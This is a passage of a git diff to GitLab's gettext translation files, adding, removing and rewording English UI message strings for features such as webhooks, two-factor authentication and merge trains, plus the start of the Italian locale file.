msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/it/gitlab.po b/locale/it/gitlab.po
index 5e03ecab497..fb8bdcfa4e5 100644
--- a/locale/it/gitlab.po
+++ b/locale/it/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: it\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:46\n"
+"PO-Revision-Date: 2020-09-04 23:08\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] " migliorato di %d punti"
msgid " or "
msgstr " o "
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
-msgstr " o <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
+msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] "%s commit aggiuntivi sono stati omessi per evitare degradi di prestaz
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr "%{firstLabel} + %{labelCount} più"
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr "%{level_name} non è consentito in un gruppo %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr "%{loadingIcon} Partito"
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr "%{lock_path} è bloccato dall'utente GitLab %{lock_user_id}"
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}, questo issue verrà chiuso automaticamente."
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr "%{size} MiB"
msgid "%{size} bytes"
msgstr "%{size} bytes"
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} è stato inviato ad Akismet con successo."
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr "%{state} epici"
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr "(fonte esterna)"
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr "8 ore"
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Attivo"
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr "Aggiungi intestazione e footer alle e-mail. Le impostazioni dei colori verranno applicate solo nell'interfaccia dell'applicazione"
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
